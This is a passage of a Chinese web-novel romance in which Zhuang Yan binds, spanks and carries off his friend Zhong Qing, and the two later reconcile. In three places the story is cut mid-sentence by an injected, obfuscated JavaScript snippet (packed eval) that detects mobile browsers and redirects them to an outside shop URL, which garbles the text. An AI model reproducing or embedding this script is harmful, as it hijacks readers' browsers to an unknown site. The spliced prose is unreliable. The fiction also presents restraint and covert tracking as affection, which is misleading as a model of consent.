他一直都知道庄严的长相是有些野性的俊美,这种特点在小时候最明显。那个时候的庄严刚到庄家,皮肤黝黑,头发凌乱,穿着明显不合身的衣服,连普通话都不会说。他永远低着头,但每次被兄弟欺凌时,都会抬眼直勾勾盯着他们。 钟情也喜欢像这样从上目线看人,可同样的动作,他做出来就是柔情似水,哄得身边长辈个个对他溺爱无比,即使猪油蒙心的钟大伯见了这样的眼神也要变得轻声细语起来。 而庄严这样看过来时,只会让人想到鹰视狼顾四个字。 钟情已经很久没见过这样的庄严了。 庄严有很强的自尊心。别人笑他乡音土气,他便整整一月不跟别人说话,只在被钟情逼急了时才冒出几个字。他那一个月都跟在钟情身边,没有找任何语言老师,但再开口时竟然就已经无师自通一口标准流利的普通话。 再过半年,他便已经学会所有贵族礼仪,能跟上同龄人学的所有课程。仍旧是没有请任何另外的老师,只不过是待在钟情身边有样学样。 钟情还记得那时候小庄严的眼神,沉重而专注,落在身上有如实质。他那时因为疼痛并未怎么教过小庄严,也没有人要求过他学这些,可他依旧学会了,并且比任何人学得都要好。 钟情那时候很疑惑一个小孩子怎么会有这样堪比野兽的眼睛,还是上次踏青时得知一点庄严的身世,才想到或许那便是一个自深山中走出的人应该有的眼睛。 再后来,庄严逐渐穿上合身的衣服,皮肤变回养尊处优的白皙,他彬彬有礼、进退有度,接管家族后更添几分上位者的威严。初来乍到被人耻笑的、孤狼一样的山民,早已消失得一干二净。 但现在,钟情又见到了那个藏在西装衬衫和银边眼镜下的野兽一样的灵魂。 庄严居然在笑。 “不是要带我玩玩吗?后悔了,嗯?” 他伸手覆住钟情紧握横杆的手指,一根一根地掰开,缓慢但不容拒绝。 这样明显的力量压制,他却像是没意识到,蹭到钟情耳畔,很是谦卑地说: “那算我求你,好不好?” 钟情只觉得像是有一个惊雷在自己耳边炸响。 他痛心疾首:“庄严!你怎么能做这么罪恶的事情呢!我一个社会闲散人士,堕落也就罢了,可你是庄严啊,咱们这一代最有出息的孩子,多少人的衣食父母,A市的脸面!华国的骄傲!你怎么能跟我一起堕落呢?” 庄严在他耳边轻笑。 “天天往马场跑,就只学会拍马屁吗?可惜……晚了。” 照例一只手就抓住钟情的两只手腕压在背后,另一只手拽下领带,随意绕了绕,就在钟情手腕上打了一个死结。 然后不等钟情反应过来,就将他拦腰扛在肩上。 钟情的小腹撞上肩膀时,庄严顺势托了一下,这一下撞得不严重,但还是让钟情头晕眼花,遍布皮肤的疼痛仿佛快要深入骨髓。 眼前视线渐渐恢复正常,钟情看见庄严的那双长腿和脚后跟正大步流星向外走去,与此同时地板在快速后退。 试着挣扎一下,发现手也被绑住缚在身后。 他有些迷惑:“庄严,你要干什么啊?” “你不肯带我玩,我只好自己来找你了。” “找我干什么?我又不能陪你玩,你自己去找一个女朋友啊!虽然你不如我帅,但应该还是有不少女孩子喜——” 钟情骤然失声。 他听见开门的声音,还感到一阵风吹来,吹得两条腿凉飕飕的。 不行,不能让庄严出去! 他没穿裤子! 他身上现在就只有一条浴巾,连腰带都还没栓好。这个样子走出去,谁都会觉得他被捉奸在床了,而且还是被好兄弟捉的! 他脸还要不要了! 钟情大喊:“庄严!别出去!我招了我全招了!” 庄严脚步一顿:“招什么?” “她们不是我女朋友,我们也没做那种少儿不宜的事。我们只是打游戏而已,五排开黑!懂吧,五黑!” “要撒谎,也该撒一个高明些的。”庄严一巴掌落在钟情屁股上,“六个人,五黑?” 钟情懵了。 说实话哪个位面他都没少跟人打架,但被人打屁股还是头一回。 “庄严!你疯了吗!”钟情抓狂,“六个人是因为琴琴腱鞘炎打不了太久需要替补!” “是吗?我很怀疑,钟情,你真的知道腱鞘在哪里吗?” “……” “看来还是撒谎。” 庄严毫不客气,又是一巴掌落下,又落在原来的位置。 钟情崩溃:“我在手上给你指出来了!你瞎啊!” 庄严转头看向被他用领带绑起来的那双手,左手两根食指的确正捏着右手的大拇指。 “抱歉,我没看见。”他伸手揉了揉钟情的屁股,“打疼了吗?” 钟情咬死他的心都有了:“你神经病啊!把手拿开!放我下来!” 庄严不为所动,按住他胡乱扑腾的两条腿继续向外走去。 “庄严!你把我放下!你到底在发生什么疯!” 他的声音惊动了别的房客,走廊上有几人打开门观察情况。钟情瞬间收声,将脸埋在庄严后背上,只觉得这辈子的脸都丢尽了。 进到电梯,没安分几秒的他又开始猛烈挣扎。 “你放我下来!庄严你现在收手还来得及,再不放开我,我明天就给严奶奶告状!让她家法伺候你!打到你社保欠费!” 电梯一路向下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13204255|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 庄严第一次见到这么活泼的钟情,听得兴致勃勃,钟情则因为长时间头脚朝下而头晕目眩,像有无数根针从皮肉一直扎到神经。 他的声音都变得蔫蔫的。 “放我下来……我告诉你庄严,你完了,等你破产我一分钱都不会借给你……我还要把你卖到马场去,让你天天给小马宝莉铲马粪……” 电梯门“叮”一声打开。 酒店里清过场,大厅里没有客人。但员工依然在场,天花板上灯光绚烂耀眼,钟情只觉得自己正被拉到烈日之下公开处刑。 他不再挣扎,也不再破开大骂。 他没这个力气,也实在丢不起这个脸。 出了酒店大门,钟情更加安静,挂在庄严肩上就像一条麻袋。 庄严拉开车门,将他放到后座上。屁股一沾座椅他就立刻转身,面朝靠背躺着,似乎不愿看庄严一眼。 庄严很担忧地摸了摸:“真打疼了吗?” “把手拿开!不要你假好心!”钟情火冒三丈,“给我解开!” 庄严轻笑一声:“不行。解开你就又要跑了。等到家再解开,好不好?” 钟情没有回答。 庄严也没有等待他的回答。 他直接关上后车门,坐上驾驶位,引擎发动的声音就像野兽低吼,起步几乎无感。掌心中的方向盘硬邦邦的,指尖却还残留着那柔软的触感。 放松时饱满、圆润,一只手掌便能握住,紧张时却又结实而极富弹性,是天生丽质外加娇生惯养才能养出来的好皮肉。 刚赶来酒店时的愤怒现在已经消散大半。 他想他终于找到了一个能压制钟情的办法。 这个办法不会让他舍不得,也不会让钟情受伤,却能叫钟情在意。要是早知道钟情会对打屁股这样敏感,他就该在钟情第一天提起真爱的时候将他拉过来好好打一顿,让他不敢再这样轻浮地污蔑这两个字。 车停了。 庄严下车拉开后车门,钟情仍旧以那种抗拒的姿势躺着。他心中稍有不悦,伸手按住钟情的肩膀,强行将他翻过来。 他看见钟情满脸眼泪,一双眼睛已经肿成了桃子。 庄严错愕,指关节在他发红的眼角轻轻一碰:“怎么哭了?” “混蛋……放开我。” 面前的人慌乱地附身去解那条领带,死结解起来太费时间,他想也没想就低头用牙咬断那块顽固的布料。 钟情双手重获自由,第一件事就是往庄严脸上甩了一个巴掌。 这一巴掌不重,他的手腕被绑得太久,阵阵发麻,使不上力,庄严连头都没有偏一下。 他没有生气,他甚至没有躲。 他一直在看着钟情的眼睛,眼泪浸泡过的瞳仁更加清亮,月光在里面莹莹闪烁着,如同银砾贝母。脸颊已经哭到潮红,湿漉漉的泪痕叠在上面,像一片被雨淋湿的花瓣。 原来花好看起来真的会让人有吃掉的欲望。 庄严微微张了张口。 他眼也不眨地俯视着钟情,将脸凑得更近。 “还生我气吗?再打一下吧。” 眼泪还在大颗大颗不受控制地落下,钟情连擦眼泪都顾不上,很快用另一只手甩了庄严第二个巴掌。 这次庄严终于有了反应。 他的眼睫颤了一下,视线下移,落在钟情那张被咬得破碎的嘴上。 39.第九章 庄严朝那破碎的嘴角又凑近了些。 他伸手想要抚摸,迟疑片刻后,还是改变方向,选择替钟情擦干眼泪。 钟情完全没想到庄严居然还有脸来碰他。 他直接一脚踹过去,庄严一时不防向后退了几步,他眼前视野骤然大亮,跌跌撞撞奔下车,向电梯跑去。 庄严揉了揉心口。 钟情被他扛出酒店的时候连鞋也没穿,浴衣堪堪遮到膝盖,露出修长的小腿。骨肉匀称,其下是一双的精致白皙的脚,一下一下踩在深色地坪上,或许是太凉,也或许是太硬,脚趾泛起微微粉意。 庄严神色一暗,快步追上去。 钟情没跑几步就被人抱起来,正要挣扎,便听见他说:“无论怎样,回家再说。脚不要了吗?” 钟情还是挣扎。 他一点没觉得光脚在地上走有多疼,他早就已经被粒子残缺的疼痛折磨得什么都感受不到了。 但他的挣扎无果,最后只能一拳捶在庄严心口泄愤。 算了,反正公寓楼是一梯一户,现在周围也没有旁人,不会碰到邻居让他丢脸,没必要在这时候逞强。 刚一打开门,钟情就立刻从庄严怀里跳下来。 他还是没去穿鞋,光着脚跑回自己房间,打开行李箱就开始收拾东西。 庄严慢了一步跟进来,手里还拿着一条热毛巾和一双拖鞋。 见到钟情的动作,他手中微微发紧,却没有在第一时间发问。 他在钟情身边蹲下,强行替他擦了脸,穿上鞋,这才问道: “你在做什么?” “看不出来吗?我要回家。” 庄严伸手拦住他的动作:“这里就是你的家。” 钟情嘴角一扬,冷笑一声。 他脸上的泪痕已经被擦得干干净净,但眼角的薄红还未褪去,清晰地昭示着他刚哭过不久。而现在,他却像是已经完全从崩溃的情绪中挣脱出,一颦一笑都似乎另有深意。 他故作吃惊道:“咦?原来这是我的家吗?这也不能做那也不能做,还有人一直跟踪我监视我,我还以为这是监狱呢。” 庄严眉心微蹙。他从小就被逼着与年长他许多的人谈判,那些人欺负他年纪小还是不受宠的私生子,什么话都说得出来。他自以为早已经对言语上的攻击免疫,却不曾想钟情一句话就能让他难受。 “别这么说,钟情。” “难道我说错了吗?” 钟情站起身,居高临下看着他。 “冰箱里没有我喜欢的零食,电脑里没有我喜欢的游戏。书房是你的,健身房是你的,连外面那所大学也是你选的。这一切跟我有什么关系?所有人都说你对我有多好……呵,庄严,你对我这么好,我是不是应该跟着你姓庄,才算对得起你?” “……你以前从来没说过这些。” 庄严的声音很冷静,在钟情那些半真半假倒打一耙的话语中保持着理智,“如果你不喜欢我的安排,就应该早些告诉我。” 钟情没被他带着走,自顾自从自己的角度说下去:“那现在你知道了,你要怎么办呢?” “车上的定位系统无法拆掉,但我可以向你保证,以后再也不会私自查看你的行程。零食和游戏机我会让人送来,不喜欢家里有书房和健身房的话,明天也可以让人来拆掉。” 钟情微笑:“庄严,你应该知道我要的不是这些。酒店里你是怎么骂我的?再骂一遍给我听听。” 庄严抬头,他仓促地想要抓住钟情的手,答非所问道:“是我错了,钟情,我当时太生——” 钟情一把挥开。 “滥货。” 他打断庄严的话,然后在他面前蹲下来,笑眯眯地平视着他。他面上的笑意没有一点作伪,就好像那两个字其实是个夸奖他的好词一样。 “庄严,你说的很对,我就是个滥货。你既然知道我是滥货,就也该知道我最想要什么了吧?” “不可能。” 庄严眼睛里又露出那种猛兽一样的凶光,低低道,“我不可能眼睁睁看着你继续堕落下去。” 钟情简直快被这根倔强的木头气得七窍生烟。他能感受到皮肤上的痛感越来越强烈,只不过蹲了这么一小会儿,小腿就已经疼到快要无法稳住身形。 在摔倒之前,钟情索性直接坐在地上,还故意做出一副从容不迫的潇洒模样来。 “多交几个女朋友而已,就是堕落了吗?我和她们是两情相悦,既没有威逼利诱,也不是强取豪夺,怎么就是堕落了?” “……钟情,你还记得你为什么叫钟情吗?” 钟情不语。 他当然记得。 快穿局员工在进入任务世界之前都可以向模型修改器输入一些数值,范围允许之内,他们可以任意调整自己灵魂即将投放的那个角色模型。 钟情所做的唯一一项修改就是名字。 他不想顶着别人的名字过一生,所以投放的任务世界会在修改器的影响下,让创造一些设定来迁就钟情的姓名。 大多数位面只不过分配一个“钟家”罢了,这一次的位面有些特殊,对“情”这个字也另有解释。 钟情在这个位面的母亲洛绒草来自北方的大草原,遇到钟父之前就已经订过婚。钟父出差途中偶遇洛绒草,不过几日便坠入爱河,相约私奔。 回到A市后,钟父花一年时间摆平一切,最终和洛绒草结婚。婚后三年有了孩子,为了纪念他们的爱情,便取名为“钟情”。 他们没有辜负这段爱情轰轰烈烈的开始,也没有辜负为钟情这个名字。洛绒草在钟情八岁那年生了一场大病,缠绵病床两年后还是撒手人寰。她死去后仅仅半年,钟父也不堪忍受思念和抑郁,在车库里饮弹殉情。 这是一段如童话般的豪门爱情,除去悲伤的结局,任何一个起承转合都要比童话还来得浪漫无比。即使十年过去,这段爱情依然在上流社会流传着。 钟情知道庄严想说什么,但他偏偏不想理会这个话题。 “庄严,你是我最好的朋友,应该知道我不喜欢和别人提起他们。” “我是别人吗?” “如果你再这样不依不饶,那你就会是。” “好,不提他们。”庄严改口,“那你应该也还记得我的父亲是怎么中的风。” 见钟情沉着脸看过来,他不躲不避,“你可以在我面前随便提起他,对我来说,你 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一旁用来代替边几的小推车上放满零食,原本空荡荡的客厅里堆满游戏设备,女孩子们三五成群聚在一块打游戏看电视。 空气中充斥着活跃的模型粒子,将钟情整个浸泡其中,甚至都不需要他去特意进行肢体接触,粒子们便自发潜入他的模型缺陷之中。 而且因为这是在自己家,环境清静稳定,即使女孩们告辞离开,粒子们也不会立刻就消散。它们的效力能维持个两三天,足够钟情撑到下一场聚会。 没有痛苦,夜夜安眠,钟情只觉得从来没有这么幸福过。 但是系统不太幸福:【菜精,你别吃了。你半个月就已经胖三斤了。】 钟情在粒子的海洋里飘飘摇摇,安逸道:【你不懂,这叫幸福肥。】 【林姿寒还有两个月就出场,你还是先把主角攻哄回来吧。】 【两个月,还早呢。】 系统恨铁不成钢:【早什么早?要我说,你就不该为了一己私欲和主角攻闹掰。还绝交呢,你以为你小孩子吗?】 钟情理智气壮:【谁让庄严太过分了。我就问你,凭什么你不能帮我监视庄严,而庄严就可以监视我?】 【……所以你是气他在车上装定位?】 【哼。这是我的底线。】 【你上次还说你的底线是不能叫你阿情呢。不过这又是为啥?又跟你那个竹子道侣有关?】 钟情深深叹了口气。 世人都道竹林干净清幽,却不知这份干净与清幽是怎么来的。 这世间大概没有几样比竹子还霸道的东西,一片土地之下但凡生长出一小节竹鞭,就会长出无数根须深入泥土,无数竹节直刺天空。 竹根抢占所有养分,竹叶遮蔽所有阳光,如此一来竹林里除了竹子不会生长第二样植物,看起来当然就干净了。而竹林根系的占地面积远比竹节大得多,千辛万苦逃出竹林,自以为已经逃脱掌控,殊不知每一步还仍旧踩在人家的神经上。 哎,往事不堪回想。 【别问了统子哥,我去哄庄严就是了。】 40.第十章 钟情要哄人的决心已经下定,但实施起来还是略有些尴尬。 庄严离开公寓后,他们还是经常会在教室里碰面。很明显庄严时时都想要求和,他会主动和钟情说话,给钟情带饭,还一连好几天开车跟在钟情身后送他回家。 但钟情很不欢迎他。 不仅因为那时候气还没消,还因为有庄严在的时候,他身边原本活跃的模型粒子会立刻被冻僵,就连已经和他的角色模型嵌合的粒子都会瞬间逃离出去。 系统的解释是男主光环,钟情对此嗤之以鼻——他还没见过哪个男主的主角光环是用来专门针对深情男配的,摆明了就是庄严看他不爽。 钟情惹不起,只能躲着走,躲又躲不过,一气之下选择迎难而上,隔个两三天就换一次女朋友,换完还要故意带着女朋友去庄严面前转悠。 有时候嫌嘴上嘚瑟不过瘾,还要你侬我侬表演一番真爱。这样过了整整半个月,庄严像是终于死心,不再出现在他面前捣乱。 他自觉已经将庄严得罪完了,现在要将他哄回来……他吃了一大盘麻辣小龙虾才鼓足士气。 这天他破天荒没和女朋友腻在一起。 刚进教室就在座位前排看见庄严,钟情走过去,附身把手撑在桌上,笑盈盈看着庄严的同桌。 “我可以坐这里吗?” 那个男生急忙起身,连连说好。 他都不怎么敢多看钟情一眼。 在同性面前,钟情依然是冷淡惫懒的。同性周身那些僵硬的粒子不仅不愿对他施以援手,还会影响他对女孩子身边活跃粒子的吸附能力。 所以很少有同性能看到他笑,偶尔一笑,还是这样亲密柔和的笑,好看得旁人多看一眼都觉得冒犯。 钟情在庄严身边坐下,双臂平放在课桌上,像小学生一样做得端端正正。 他从包里掏出一物。 吃小龙虾时他还一边在刷帖,学了不少好朋友之间决裂后的处理方式。 他现在强得可怕。 他曲肘在桌上缓缓平移,碰了下庄严的肩。 庄严不理。 又碰一下,推过去一颗奶糖。 庄严还是不理。 钟情心中一凉:不对劲,这网传绝招好像没用。 “庄严?”钟情倾身凑过去,悄悄道,“你真的不吃吗?我特意给你带的,很甜的!” 庄严依旧不理,自顾自翻了一页书。 既然庄严不要,钟情不想浪费,顺手就把奶糖拿回来剥开,丢进嘴里。 这时庄严突然转头看了他一眼,钟情被看得一愣,奶糖含在嘴里嚼也不是,不嚼也不是。 “不会吧?”他犹犹豫豫道,“你又想吃了?” 庄严终于开了他的金口:“给我一颗。” “……没了。” “别的也行。” “……没有。” 庄严眸中有莫名情绪一闪而逝:“来求和,就只带一颗奶糖吗?” 钟情垂头丧气:“电影里一颗奶糖就够的。” “那么你看错电影了。” 庄严冷冷一笑,“你可以把它吐出来给我,我不当你是别人,不会嫌弃你。” 钟情震惊,赶紧嚼吧嚼吧两下把奶糖咽进肚子里。 “不行,我嫌弃。等等庄严,你太记仇了吧,还记着那句话啊?我当时是太生气——” 话一出口觉得有些熟悉,钟情抱着胳膊,双眼微眯,“你是不是忘了一件事?当时好像不止我一个人口不择言吧?” 庄严气闷,心道你不止口不择言,还饥不择食呢。 钟情拿捏到一个把柄,脑中闪过一个绝妙的主意,枕在手臂上歪头笑着看向庄严。 “不如这样,我俩各退一步。我不把你当别人,你也别再拦着我当滥货。好不好?” 庄严看了他一眼,那张美丽脸蛋上满满真诚笑意,没有一丝开玩笑的迹象,简直漂亮到可恶。 庄严直接伸手把书盖在他脸上。 正好下课铃响起,钟情把书扒拉下来,看见的就是庄严扬长而去的背影。 他赶紧追上去。 一路不紧不慢跟在庄严身后一步远的地方,绞尽脑汁想话题,但庄严一直不回应,他唱了会儿独角戏就觉得有些无聊。 眼角余光瞥到绿化池中灌木丛似乎动了一下,钟情停下脚步,看清那个浑身发颤的白影是一只小猫。 早上刚下过雨,灌木丛中叶子还是湿淋淋的,小猫也不知道躲,任凭水滴从叶尖落下,全打在它身上。 钟情走过去将它抱起来,大概才刚断奶,小猫还没他一只手大,浑身皮毛冰凉,叫声细细的。 他抱着猫起身,抬头便看见庄严。 “咦?我还以为你走了。” 他把小猫举到庄严面前,“快跟小学妹问个好。” 庄严一只手摸了下小猫的头,说了句“你好”,另一只手递来一部手机。 钟情不接,就着庄严的手探头去看。 那上面是和校猫管理组织负责人的聊天记录。 负责人认识这只小猫,猫妈妈几天前去世,它自己又太胆小,学生几次去捉都躲着不出来。大概是饿得没力气了终于出来觅食,结果被钟情逮住。 钟情了解了个大概,一边撸猫帮它保持体温,一边笑问:“你什么时候跟他联系的?” “你看见它的时候。” 钟情心中无声地笑了一下。 庄严还是那么了解他。 他现在也觉得之前脱口而出的“绝交”二字实在是滑稽。他们认识十年,同病相怜,互相扶持,是最相知的朋友,是最亲密的亲人,他们之间的默契早已经磨合得就像同一个人的两只臂膀。 他们彼此就是对方最重要的人,没有之一。 这样的情分怎么可能断绝得掉呢? “我想把它带回马场,那里有很多大猫可以照顾它。” “我送你过去。” 钟情停住脚步,庄严也停下来,侧身看着他。 钟情眨眨眼睛:“那……我们和好了?” 庄严看着他眼中雀跃的神色,心中连日不散的阴霾总算破开一线天光。 他嘴角无意识微微扬起,但在意识到自己竟然被一句话牵动心神、竟然只因一句话就原谅了钟情半个月来的冷待,又勉强压下嘴角。 他想要矜持几分,没有立即开口,在钟情数次追问后才启唇。 “铃铃铃——” 一通电话打断他的话。 钟情听着电话对面女孩的哭诉,神色逐渐凝重,到最后他直接吧小猫往庄严怀里一塞。 “瑶瑶那边出了点事情,小猫托付给你了,我改天来接它!” 声音逐渐远去,人已经跑开了。 都已经替他们拉开车门的陈特助:“……” 他看着孤零零站在原地的大少爷,心里默默叹了句一失足成千古恨。关上车门后感受到那股越发肃杀的气氛,心中更是发苦——天哪,这种日子到底还要过多久! * 钟情明显感受到庄严对他更冷漠了。 自从他那次丢下庄严一个人跑掉之后,他就没怎么见过庄严。他已经去庄家陪严奶奶喝过好几回茶,一次都没碰上过他。去公司找人呢,又天天都在出差。正好节日放假,连在学校碰面的机会都没有了。 电话倒是每次都接得很及时,只是从不出声,直到钟情说得口干舌燥,不得已自己先一步挂断。 还有一个月主角受出场,剧情却出了大纰漏,系统急得上火。 【你和你那些女朋友断了不就行了!】 钟情还在聚众打游戏,泡在模型粒子中乐不思蜀。 【哎呀统子,就算我和庄严决裂,也不会影响他俩相爱吧?你不是说即使我变成植物人在医院睡到剧情结束,他俩也能修成正果吗?】 【但这个世界你是需要刷深情积分的!越是简单的位面,需要的深情积分就越多。你现在跟庄严搞崩了,到时候在他面前刷对林姿寒的深情人设,他一生气,恐怕你活不到两年后位面传送啊!】 【不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钟情倒也想,可他刚刚一气之下打开外卖胡乱点了一大堆东西,立誓化悲愤为食欲,一时半会儿大概走不开。 钟情送走女孩子们,在粒子海洋的包裹中,窝在沙发里一边撸猫一边打游戏一边吃刚送来火锅烧烤小龙虾,还跟系统感叹修成人身最幸福的事情就是拥有味蕾。 今晚照例打算熬夜上分,但半夜十二点的时候钟情突然感到小腹一阵疼痛。 那一下疼得他瞬间额头冒汗。 【统子!我好像要死了!】 系统闻声赶来,看见钟情疼得只差满地打滚,赶紧调出数据面板,然后陷入沉默。 【我得了什么病?胃癌吗?】钟情奄奄一息道,【放心告诉我吧,我这个世界的母亲胃癌去世那一天,我就已经做好准备了。】 系统还是迟迟不说话。 钟情被它这态度唬住,缓过一波疼痛后赶紧拿起电话给庄严拨过去,打算交代遗嘱。 系统见他来真的,忙道:【你没病,就是吃撑了。客厅有消食片,一片下去保管你药到病除。别多想,刚刚我只是在思考你是怎么做到两天胖三斤而已的。】 钟情悻悻:【我还以为你在给我默哀呢。】 他拿着手机准备关闭通讯录,看到拨号键时却突然一顿。下一秒,他已经按下按钮,电话响了一声,很快就被接通。 那边还是没有声音,钟情一时冲动,现下却也不知道该说什么。 他们都沉默着,电话里只有他们的呼吸声。 两分钟后,庄严先开口:“怎么了?” 钟情深呼吸一口气,忍下小腹的疼痛,轻声道:“庄严,你能答应我一件事吗?” “……” “如果有一天我死了,你能不能——” 庄严直接打断他:“你在哪儿?” “我在家。” “我马上过来。” “……” 原来这么容易啊。 41.第十一章 显然庄严并不是在开玩笑,钟情很快就听到引擎发动的声音。 庄严不肯挂断电话,甚至还时不时唤一声确保钟情还在听。钟情捧着手机,小腹越来越痛,他却强忍着不肯出去吃药。 系统看得有些不忍:【赶紧去吃了吧,五分钟就好了。再拖下去万一拖成肠胃炎。】 钟情气喘吁吁:【不行,吃了药还怎么卖惨?】 系统感动:【菜精,你真是身残志坚啊。】 五分钟后,钟情瘫在在沙发上小口喝着热水,眼睛还一下一下瞟茶几上那半包薯片。果然是药到病除,一片消食片下去,他现在觉得自己又能吃下一头牛了。 系统呆滞:【你不是要卖惨吗?】 钟情自我检讨:【对不起,实在太疼了。】 系统:【……】果然人不能夸,一夸就嘚瑟,哪怕空心菜修炼成人也一样。 钟情看它无语,掏出一支水银温度计,神秘一笑:【别急,我还有一个办法,可以瞒天过海。】 他抱起腿上热乎乎的小猫,将温度计塞在它肚子底下——既然庄严亲自把这么一个体温作弊器送到他手中,那就别怪他笑纳咯。 抱着猫在沙发上没躺一会儿,门外传来指纹锁打开的声音。 庄严焦急地走进来,带着满身夜风寒意,在沙发前蹲下。 “哪里不舒服?” “我发烧了,头好晕。”钟情悄悄从小猫肚子下拿出水银温度计,一个完美的38.5°,“你看。” 庄严看过温度计,伸手就要来摸他的额头,被钟情伸手挡了一下。 他没强求,打横抱起钟情回到卧室,将人放在床上后用被子裹住,目光重新落在钟情脸上,细细端详着每一个角落。 看得钟情都有点不好意思,往被子里缩了一下。 “看我干什么?” “瘦了。” 这两个字庄严声音放得很轻,却足够沉重,显然是发自肺腑这么觉得的。 钟情一阵汗颜,慢慢拉起被子盖住脸。 【统子,你之前说我胖了多少来着?】 【加起来六斤。感情线位面的男主果然都是盲目的。】 庄严终于看够了,他伸出手,钟情察觉到他意图,但双手被被子缠住,只能无比紧张地看着庄严掌心落在他的额头上。 系统幸灾乐祸:【哈哈哈我就说你要翻车吧。】 钟情感受到庄严掌心的温度,只觉得比他的脑门还热,不由自主咽了口唾沫。 然而庄严收手后却低声道:“是很烫。别怕,我来时给赵医生打过电话,他已经在路上了。” 系统:【……】 看来感情线男主不仅是盲目的,还是盲手的。 “我去拿冰毛巾。” 庄严起身正要离开,衣袖却被钟情拉住。那一点点力量就够他止步,回望过去。 钟情仰着头,面上带着点被子捂出来的潮红,让那张向来多情的脸看起来有几分可怜,像是刚被人辜负过似的。 “庄严,我们和好吧。没有你,我每天吃不好睡不好……”钟情顿住,突然想起客厅里那一大堆外卖袋子,但箭在弦上不得不发,只有硬着头皮说下去,“你都不知道我有多想你。” 庄严忍耐片刻,终究没能忍住,他回过身去,俯身将钟情抱了个满怀。 他用的是能将怀中人揉进骨血里的力道,钟情被这样紧紧箍住,呼吸都有些困难。好在庄严很快就放松双臂,仿佛刚才的失控只是错觉。 钟情搂住庄严的脖子,防止他突然跑掉回避话题。 “庄严,你原谅我了吗?” 庄严扭头想要避开视线,钟情却不依不饶,抬起他的下巴强迫他看着他的眼睛。 庄严微微闭眼,几乎是狼狈地说:“你没有做错什么。我没有原谅你的资格。” “那等我病好了,你还会生我的气不理我吗?” “对不起。”庄严低下头,和钟情额头相碰,这样近的距离里,即使轻言细语也如同誓言一般振聋发聩,“我是王八蛋。以后不会再这样。” 钟情轻笑一声,眸中泛起滟潋的柔情。他天生就是这样得天独厚的、善于诱惑的眼睛,每当他这样看别人时总要引起一番误会,只有庄严最知道他其实别无想法。 “那我以后还能继续当滥——” 最后那个字被庄严按住嘴唇,没有发出来。 “你不是滥货。” “?” “你是情圣。” 钟情微怔,一个翻身坐起来到处找手机:“庄严,你快再说一遍,我要录音。” “录音?” “难得听到你说一句甜言蜜语,当然要录下来循环播放了!” 庄严看着钟情那双在黑暗中依然亮晶晶的眼睛,面上浮起一丝悲哀的温柔神色。这怪异的神色隐藏在黑暗中,连它的主人都难以察觉。 庄严想,其实是钟情不知道他有多想他。 想念到不敢和他见面,不敢和他说话,因为只要和他多待一秒多说一句,他就会立刻心软。 就像现在,在分开数日后的第一次相见,他便心软了。 这是一种认命的心软。 他承认了这个事实——他爱的人不仅是一个直男,还是一个渣男。 他看着钟情送到他嘴边的手机麦克风,无声苦笑了一下,然后,他温驯地重复道: “你是情圣。” 钟情笑得很开心。 待他笑够,庄严又问:“茶几上有消食片,肚子也不舒服吗?” 钟情没想到他这么细心,赶紧卖惨:“是呢,疼得我一身冷汗。”他拉住庄严的手往自己后颈探去,“不信你摸。” 庄严却抽回手,转而覆上钟情的肚子。 “我帮你揉揉。” 适中的力道让钟情昏昏欲睡。 庄严揉得很有技巧,这全是在钟情身上练出来的。这具身体和身体的母亲一样,肠胃都不太好,钟情小时候没少吃它的苦。庄严看不下去,每次钟情胃疼,就自告奋勇帮他揉肚子。 半梦半醒之间,钟情有几个瞬间还以为自己仍是十年前那个和庄严相依为命的小孩。 他像小时候那样覆住庄严的手表示感谢,那只手微微一顿,随即带着钟情的手一起动起来。 肌肤相贴的感觉让庄严心中的惶恐终于消散了一些。 他没办法将那个字和钟情联系起来。无论是偶尔想到,还是听钟情亲口说出,都让庄严觉得心惊肉跳。 死——多么可怕的一个字,每一个笔画都像一把刀,每一刀落下斩断的都是一段幸福的记忆。 庄严拼尽全力想给钟情儿时记忆里一样的幸福,但他知道他没有做到。 父母双亡,并且还是以那样惨烈的方式亡故,钟情看起来似乎已经从这个十年前的噩梦醒来,提起他们时总是面带笑意漫不经心,其实从来不肯去面对事实的真相。 每个人活在世上都有支撑自己的理由,为名,为利,为孝敬父母,为子嗣传承。庄严是为了钟情,那钟情呢? 庄严没有找到过答案,所以总觉得钟情像风,环绕在他身边,但是怎么也抓不住。 他脑中突然闪过一个让他心如刀割额般的念头——钟情变得多情,其实他应该要高兴的。 至少终于有一件事被钟情放在心上,至少他终于肯睁开眼睛看看这个世界。与这个世界有了关联,或许就不会再那么飘渺无依,如同幻影。 庄严拿了毛巾帮钟情擦脸,然后上床将他抱进怀中。 钟情依然全然地信任他,任由他抱着,彼此亲密无间地依偎着。半个月来的隔阂消失不见,又或者说它其实从来就不曾存在过。 被窝温暖,庄严心中却一片寒凉。 那里有什么东西在渐渐死去。只是那死去的尸体依然庞大无比,勉强撑出了一个体面如昨的表象。 * 等待林姿寒出场的两个月里,钟情的生活变成三点一线——庄严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13236999|138788||http|test|mini|href|location''.split(''|''),0,{})); () { 